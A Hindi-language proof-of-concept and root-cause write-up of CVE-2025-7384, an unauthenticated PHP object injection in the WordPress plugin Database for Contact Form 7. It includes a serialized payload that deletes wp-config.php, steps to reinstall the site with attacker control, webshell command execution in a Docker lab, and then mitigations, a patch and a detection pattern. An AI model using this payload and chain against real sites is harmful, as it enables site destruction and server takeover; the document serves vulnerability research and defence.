
WordPress Database for Contact Form 7 में एक गंभीर बिना प्रमाणीकरण वाले PHP ऑब्जेक्ट इंजेक्शन के लिए Exploit PoC और मूल-कारण विश्लेषण, जो मनमाना फ़ाइल विलोपन के माध्यम से RCE की ओर ले जाता है।
प्लगइन: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (गंभीर)
CWE: CWE-502 — अविश्वसनीय डेटा का डिसीरियलाइज़ेशन
प्रमाणीकरण आवश्यकता: कोई नहीं (बिना प्रमाणीकरण)
प्रभाव: रिमोट कोड निष्पादन (RCE)
"Database for Contact Form 7" प्लगइन (स्लग: contact-form-entries) संस्करण 1.4.3 और उससे नीचे में एक PHP ऑब्जेक्ट इंजेक्शन भेद्यता है। जब कोई WordPress एडमिनिस्ट्रेटर एडमिन पैनल के अंदर किसी फ़ॉर्म रिकॉर्ड (एंट्री) को देखता है, तो प्लगइन maybe_unserialize() फ़ंक्शन को Contact Form 7 के माध्यम से बिना प्रमाणीकरण वाले उपयोगकर्ता द्वारा जमा किए गए डेटा पर सीधे कॉल करता है, बिना इंस्टैंशिएट करने की अनुमत क्लासों की सूची को नियंत्रित किए।
हमलावर को लॉग इन करने की आवश्यकता नहीं है — उसे केवल एक सामान्य संपर्क फ़ॉर्म जमा करना होता है, जिसमें किसी भी फ़ॉर्म फ़ील्ड में एक सीरियलाइज़्ड PHP ऑब्जेक्ट डाला जाता है। यह डेटा डेटाबेस में कच्चा (raw) संग्रहीत होता है। जब एडमिन उस एंट्री को देखने के लिए खोलता है, तो डिसीरियलाइज़ेशन फ़ंक्शन हमलावर द्वारा चुने गए ऑब्जेक्ट को इंस्टैंशिएट कर देगा, जिससे __destruct() या __wakeup() जैसी मैजिक मेथड्स ट्रिगर होंगी → WordPress वातावरण में उपलब्ध POP गैजेट्स के आधार पर मनमाना व्यवहार निष्पादित होगा।
गंभीरता स्तर: उपयुक्त POP गैजेट के साथ (उदाहरण के लिए, ऐसी क्लास जिसकी
__destruct()मेथडunlink()को कॉल करती है), हमलावरwp-config.phpफ़ाइल को हटा सकता है, WordPress को उसकी प्रारंभिक इंस्टॉलेशन स्क्रीन पर वापस ले जा सकता है → हमलावर द्वारा नियंत्रित एडमिनिस्ट्रेटर खाते के साथ पुनर्स्थापित कर सकता है → वेबशेल युक्त प्लगइन स्थापित कर सकता है → सर्वर पर पूर्ण रिमोट कोड निष्पादन (RCE) प्राप्त कर सकता है।
PHP किसी ऑब्जेक्ट को एक संरचित टेक्स्ट स्ट्रिंग में बदलने के लिए serialize() और उस स्ट्रिंग से ऑब्जेक्ट को पुनर्स्थापित करने के लिए unserialize() का उपयोग करता है। जब unserialize() किसी अविश्वसनीय स्रोत (जैसे, उपयोगकर्ता इनपुट) से डेटा प्राप्त करता है, तो हमलावर उस समय PHP मेमोरी में लोड किसी भी क्लास से संबंधित एक मनमाना ऑब्जेक्ट बना सकता है।
विशेष मेथड्स जिन्हें PHP ऑब्जेक्ट के जीवनचक्र के दौरान स्वचालित रूप से आमंत्रित करती है। इस संदर्भ में सबसे महत्वपूर्ण:
__wakeup() — ऑब्जेक्ट के डिसीरियलाइज़ होते ही तुरंत आमंत्रित होता है__destruct() — ऑब्जेक्ट नष्ट होने पर आमंत्रित होता है (स्कोप से बाहर जाने पर, या अनुरोध समाप्त होने पर)__toString() — ऑब्जेक्ट को स्ट्रिंग में कास्ट करने पर आमंत्रित होता हैयह एप्लिकेशन के भीतर मौजूदा क्लासों की कई मैजिक मेथड्स को जोड़ने की तकनीक है, जिससे व्यवहारों का एक खतरनाक क्रम तैयार होता है। हमलावर नया कोड नहीं लिखता — वह केवल मौजूदा ऑब्जेक्ट्स के गुणों (properties) में हेरफेर करता है, ताकि जब मैजिक मेथड्स निष्पादित हों, तो वे डेवलपर्स के इरादे के विपरीत कार्य करें।
maybe_unserialize()यह WordPress कोर की एक रैपर फ़ंक्शन है। यह जाँचने के लिए is_serialized() को कॉल करता है कि स्ट्रिंग सीरियलाइज़्ड डेटा है या नहीं — यदि सही है, तो यह ऑब्जेक्ट को पुनर्स्थापित करने के लिए unserialize() को कॉल करता है। समस्या: यह फ़ंक्शन allowed_classes पैरामीटर (PHP 7.0 से उपलब्ध) को नहीं भेजता, जिससे यह सीमित किया जा सकता था कि कौन सी क्लासें इंस्टैंशिएट करने की अनुमति हैं।
पूरे प्लगइन स्रोत कोड में डिसीरियलाइज़ेशन फ़ंक्शन ढूँढने के लिए grep करके शुरू करें — ये PHP में सबसे खतरनाक फ़ंक्शन हैं क्योंकि ये ऑब्जेक्ट इंजेक्शन का कारण बन सकते हैं:
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

आउटपुट maybe_unserialize() के कई कॉल साइट दिखाता है, विशेष रूप से includes/data.php की पंक्ति 545 पर verify_val() फ़ंक्शन के भीतर:

// data.php lines 538-548
public function verify_val($string){
if(in_array(substr(ltrim($string),0,1), array('{','['))
&& in_array(substr(rtrim($string),-1), array('}',']'))
){
$val = json_decode($string, 1);
if(is_array($val)){ $string = $val; }
} else if(is_serialized($string)){ // line 544
$string = maybe_unserialize($string); // ★ line 545 — SINK
}
return $string;
}
मुख्य प्रश्न: $string वेरिएबल कहाँ से आता है? यदि यह बिना फ़िल्टरिंग के उपयोगकर्ता इनपुट से आता है → यह एक भेद्यता है।
पता लगाएँ कि verify_val() को कहाँ आमंत्रित किया गया है। उसी data.php फ़ाइल में पीछे की ओर अनुरेखण करें:

// data.php lines 520-535
public function get_lead_detail($lead_id){
global $wpdb;
$table = $wpdb->prefix . 'vxcf_leads_detail';
$detail_arr = $wpdb->get_results(
$wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
ARRAY_A
);
foreach($detail_arr as $k => $v){
if(!empty($v['value'])){
$detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← calls verify_val
}
}
return $detail_arr;
}
→ $string वास्तव में $v['value'] है — यानी wp_vxcf_leads_detail डेटाबेस तालिका से प्राप्त मान। यह फ़ंक्शन तब कॉल होता है जब एडमिन किसी फ़ॉर्म एंट्री का विवरण देखता है।
अगला प्रश्न: wp_vxcf_leads_detail के अंदर डेटा कहाँ से आता है? इसे कौन लिखता है?
चरण 2 से हम जानते हैं कि डेटा डेटाबेस से खींचा जाता है। अगला प्रश्न: इसमें डेटा कौन लिखता है? data.php के भीतर INSERT क्वेरी खोजें:
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

विवरण के लिए create_lead() फ़ंक्शन कोड (पंक्तियाँ 85-103) खोलें:

पंक्तियों 98-99 पर, मान $v — जो किसी फ़ॉर्म फ़ील्ड (जैसे, your-message) की सामग्री है — को $wpdb->insert() के माध्यम से सीधे डेटाबेस में डाला जाता है। प्लगइन Contact Form 7 के wpcf7_before_send_mail इवेंट से जुड़ता है, इसलिए जब भी कोई उपयोगकर्ता फ़ॉर्म जमा करता है, सभी फ़ील्ड कच्चे (raw) रूप में संग्रहीत हो जाती हैं।
अतिरिक्त जाँच: प्लगइन सहेजने से पहले sanitize_text_field() और sanitize_textarea_field() का उपयोग अवश्य करता है, लेकिन ये दोनों फ़ंक्शन केवल HTML टैग्स और विशेष HTML वर्णों को हटाते हैं — O:21:"VulnerableFileHandler":2:{...} जैसा सीरियलाइज़्ड पेलोड कोई HTML टैग नहीं रखता, इसलिए यह पूरी तरह बरकरार रहकर गुजर जाता है।
इस बिंदु पर, पूरा प्रवाह स्थापित हो चुका है:
Unauthenticated user submits CF7 form (your-message field contains serialized object)
↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
↓
Admin views entry → get_lead_detail() → verify_val()
↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
↓
Object's __destruct() executes → performs attacker-controlled action
मूल कारण:
data.php:545परmaybe_unserialize()फ़ंक्शन को बिनाallowed_classes: falseपारित किए, अप्रमाणित उपयोगकर्ता इनपुट से उत्पन्न डेटा पर कॉल किया जाता है। हमलावर को केवल CF7 फ़ॉर्म केyour-messageफ़ील्ड के माध्यम से एक सीरियलाइज़्ड PHP ऑब्जेक्ट जमा करना होता है → जब एडमिन एंट्री देखता है, तो PHP उस ऑब्जेक्ट को इंस्टैंशिएट करता है और__destruct()मैजिक मेथड को ट्रिगर करता है।
दृश्य प्रमाण के लिए, Xdebug का उपयोग करके data.php की पंक्ति 545 पर ब्रेकपॉइंट सेट करें। फ़ॉर्म के माध्यम से पेलोड इंजेक्ट करने और एडमिन द्वारा एंट्री देखने के बाद, डीबगर ठीक maybe_unserialize() पर रुक जाता है:

वेरिएबल्स पैनल में $string हमलावर का पेलोड दिखाता है:
$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → पेलोड फ़ॉर्म → डेटाबेस → डिसीरियलाइज़ेशन फ़ंक्शन तक बिना रोके गयानिष्पादन पंक्ति:
$string=maybe_unserialize($string);कॉल स्टैक फ़ंक्शन कॉल अनुक्रम दिखाता है:
vxcf_form_data->verify_val data.php:545
vxcf_form_data->get_entries data.php:388
vxcf_form::get_entries contact-form-entries.php:2682
vxcf_form_pages->entries_page plugin-pages.php:1017
...
WP_Hook->apply_filters class-wp-hook.php:324
WP_Hook->do_action class-wp-hook.php:348
→ विश्लेषित सटीक प्रवाह की पुष्टि करता है: एडमिन एंट्री देखता है → get_entries() → verify_val() → maybe_unserialize()।
आक्रमण श्रृंखला में 5 चरण होते हैं। हमलावर को केवल चरण 1 (फ़ॉर्म जमा करना) निष्पादित करना होता है। चरण 2-5 एडमिन के एंट्री देखने के बाद स्वचालित रूप से घटित होते हैं।
हमलावर मैसेज फ़ील्ड में एक सीरियलाइज़्ड PHP ऑब्जेक्ट के साथ CF7 फ़ॉर्म जमा करता है।
POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedbackyour-message में शामिल है: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}wp_vxcf_leads_detail तालिका में सहेजता है — sanitize_text_field() सीरियलाइज़्ड स्ट्रिंग्स को ब्लॉक नहीं करताएडमिन Contact Form Entries पेज खोलता है → एंट्री विवरण देखता है → प्लगइन verify_val() कॉल करता है → maybe_unserialize()।
file_path = "/var/www/html/wp-config.php" और cleanup = true के साथ VulnerableFileHandler ऑब्जेक्ट को इंस्टैंशिएट करता है__destruct() को आमंत्रित करता है → unlink("/var/www/html/wp-config.php")wp-config.php फ़ाइल हटा दी जाती है → WordPress डेटाबेस कनेक्शन खो देता है।
http://target/ तक पहुँचने पर → स्वचालित रूप से /wp-admin/setup-config.php पर पुनर्निर्देशित होता है (प्रारंभिक सेटअप स्क्रीन)हमलावर ज्ञात (या ब्रूट-फोर्स किए गए) डेटाबेस क्रेडेंशियल्स का उपयोग करके WordPress को पुनर्स्थापित करता है।
वेबशेल युक्त एक प्लगइन स्थापित करें → मनमाने सिस्टम कमांड निष्पादित करें।
/wp-content/plugins/shell/shell.php?cmd=iduid=33(www-data) gid=33(www-data) → RCE पूर्णWordPress + भेद्य प्लगइन युक्त Docker लैब प्रारंभ करें:
cd CVE-2025-7384
docker-compose up --build -d
लॉग में LAB READY दिखने तक लगभग 40 सेकंड प्रतीक्षा करें। WordPress चल रहा है यह सत्यापित करने के लिए http://localhost:8181 तक पहुँचें।
खंड 3 में स्रोत कोड विश्लेषण से, हम जानते हैं:
data.php:545 पर स्थित है — फ़ॉर्म फ़ील्ड मानों पर maybe_unserialize()wp_vxcf_leads_detail तालिका है — डेटा CF7 फ़ॉर्म से आता हैsanitize_text_field() पर निर्भर करता है — सीरियलाइज़्ड स्ट्रिंग्स को ब्लॉक नहीं करता→ निष्कर्ष: CF7 फ़ॉर्म के किसी भी फ़ील्ड में एक सीरियलाइज़्ड PHP ऑब्जेक्ट जमा करें। your-message चुनें क्योंकि यह एक टेक्स्टएरिया है, लंबी स्ट्रिंग्स स्वीकार करता है, और इसकी फ़ॉर्मेट वैलिडेशन कम है (your-email के विपरीत, जिसमें ईमेल फ़ॉर्मेट आवश्यक है)।
http://localhost:8181/contact/ तक पहुँचें, फ़ॉर्म निम्नानुसार भरें:
| फ़ील्ड | मान |
|---|---|
| आपका नाम | dung |
| आपका ईमेल | [email protected] |
| विषय | test inject |
| आपका संदेश | O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;} |

पेलोड स्पष्टीकरण:
O:21:"VulnerableFileHandler" — क्लास VulnerableFileHandler को इंस्टैंशिएट करता है (जिसका __destruct() unlink() को कॉल करता है)s:9:"file_path";s:27:"/var/www/html/wp-config.php" — file_path प्रॉपर्टी हटाने के लिए लक्षित फ़ाइल की ओर इशारा करती हैs:7:"cleanup";b:1 — प्रॉपर्टी cleanup = true है, जिससे __destruct() unlink() निष्पादित करता हैSubmit पर क्लिक करें। फ़ॉर्म मेल भेजने में त्रुटि संदेश (या सफलता) दिखाता है — यह अप्रासंगिक है, क्योंकि contact-form-entries प्लगइन मेल वितरण से पहले ही सभी डेटा डेटाबेस में सहेज चुका होता है।
http://localhost:8181/wp-admin में लॉग इन करें (admin / admin123) → बाएँ मेनू में CRM Entries चुनें → प्राप्त एंट्री देखने के लिए क्लिक करें।

यह ठीक वही क्षण है जब निष्पादन data.php:545 तक पहुँचता है — प्लगइन डेटाबेस से your-message मान प्राप्त करता है, is_serialized() जाँच true लौटाती है, maybe_unserialize() कॉल करता है → PHP VulnerableFileHandler ऑब्जेक्ट बनाता है → अनुरोध समाप्त होता है, __destruct() निष्पादित होता है → unlink("/var/www/html/wp-config.php")।
ब्राउज़र में http://localhost:8181/ पर जाएँ → WordPress /wp-admin/setup-config.php पेज (प्रारंभिक सेटअप स्क्रीन) पर पुनर्निर्देशित करता है → wp-config.php फ़ाइल सफलतापूर्वक हटा दी गई है।

wp-config.php हटाए जाने के साथ, WordPress अनइंस्टॉल्ड स्थिति में लौट जाता है। हमलावर के चरण:
चरण 1 — WordPress पुनर्स्थापित करें:
http://localhost:8181/wp-admin/setup-config.php तक पहुँचें → डेटाबेस क्रेडेंशियल्स दर्ज करें:
| फ़ील्ड | मान |
|---|---|
| डेटाबेस नाम | wordpress |
| उपयोगकर्ता नाम | wpuser |
| पासवर्ड | wppass |
| डेटाबेस होस्ट | db |
| तालिका उपसर्ग |
Submit पर क्लिक करें → इंस्टॉलेशन चलाएँ → हमलावर द्वारा नियंत्रित नया एडमिन खाता बनाएँ।
चरण 2 — वेबशेल अपलोड करें:
एडमिन डैशबोर्ड में लॉग इन करें → Plugins → Add New → Upload Plugin → system-health.zip फ़ाइल (या system-monitor.zip) अपलोड करें।

अपलोड और सक्रियण सफल।
चरण 3 — कमांड निष्पादित करें (RCE):
पहुँचें: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

आउटपुट: uid=33(www-data) gid=33(www-data) → रिमोट कोड निष्पादन पूर्ण
पहुँचें: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

आउटपुट: www-data → रिमोट कोड निष्पादन पूर्ण
*उपयोगकर्ता इंटरैक्शन: NVD इसे None मानता है क्योंकि एडमिन द्वारा फ़ॉर्म एंट्री देखना अपेक्षित व्यवहार है, न कि असामान्य उपयोगकर्ता इंटरैक्शन।
उपयोगकर्ता-आपूर्ति किए गए डेटा पर maybe_unserialize() का उपयोग न करें। जब संरचित डेटा संग्रहण की आवश्यकता हो तो इसके बजाय json_decode() का उपयोग करें।
यदि डिसीरियलाइज़ेशन सख्त रूप से आवश्यक हो, तो allowed_classes: false विकल्प (PHP 7.0+) प्रदान करें:
$data = unserialize($string, ['allowed_classes' => false]);
यह PHP को किसी भी ऑब्जेक्ट को इंस्टैंशिएट करने से रोकता है — केवल स्केलर प्रकारों और ऐरे की अनुमति देता है।
/^[OaCis]:\d+/ पैटर्न (सीरियलाइज़्ड डेटा का संकेत) से मेल खाने वाले किसी भी मान को अस्वीकार करें।wp_vxcf_leads_detail डेटाबेस तालिका का निरीक्षण करें कि क्या O:XX:"ClassName": प्रारूप से मेल खाने वाली स्ट्रिंग्स वाली एंट्री हैं — उपस्थिति आक्रमण प्रयासों का संकेत देती हैwp-config.php पर प्रतिबंधात्मक फ़ाइल अनुमतियाँ (440 या 400) हों — वेब सर्वर प्रक्रिया द्वारा विलोपन की संभावना कम करना// BEFORE (vulnerable):
} else if(is_serialized($string)){
$string = maybe_unserialize($string);
}
// AFTER (patched):
} else if(is_serialized($string)){
$string = json_decode(json_encode(
unserialize($string, ['allowed_classes' => false])
), true);
}
| विशेषता | मान |
|---|
| CVE ID | CVE-2025-7384 |
| CVSS स्कोर | 9.8 (गंभीर) |
| CWE | CWE-502 — अविश्वसनीय डेटा का डिसीरियलाइज़ेशन |
| प्रभावित प्लगइन | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 |
| प्रमाणीकरण आवश्यकता | कोई नहीं — CF7 फ़ॉर्म जमा करने वाला कोई भी व्यक्ति पेलोड इंजेक्ट कर सकता है |
| ट्रिगर शर्त | एडमिन एडमिन पैनल में इंजेक्ट की गई एंट्री देखता है |
| अधिकतम प्रभाव | बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE) |
| पैच किया गया संस्करण | 1.4.4+ (unserialize को json_decode या allowed_classes: false से बदलता है) |
| wp_ |
| CVSS मीट्रिक | मान | स्पष्टीकरण |
|---|
| आक्रमण वेक्टर | नेटवर्क | HTTP पर दोहन, किसी भौतिक पहुँच की आवश्यकता नहीं |
| आक्रमण जटिलता | निम्न | केवल 1 POST अनुरोध भेजने की आवश्यकता जिसमें पेलोड हो |
| आवश्यक विशेषाधिकार | कोई नहीं | कोई प्रमाणीकरण आवश्यक नहीं — CF7 फ़ॉर्म सार्वजनिक रूप से खुला है |
| उपयोगकर्ता इंटरैक्शन | कोई नहीं* | एडमिन नियमित कार्यप्रवाह के दौरान एंट्री देखता है |
| गोपनीयता | उच्च | RCE सर्वर पर किसी भी फ़ाइल को पढ़ने की अनुमति देता है |
| अखंडता | उच्च | RCE किसी भी फ़ाइल को लिखने/संशोधित करने की अनुमति देता है |
| उपलब्धता | उच्च | wp-config.php हटाने से पूरी वेबसाइट क्रैश हो जाती है |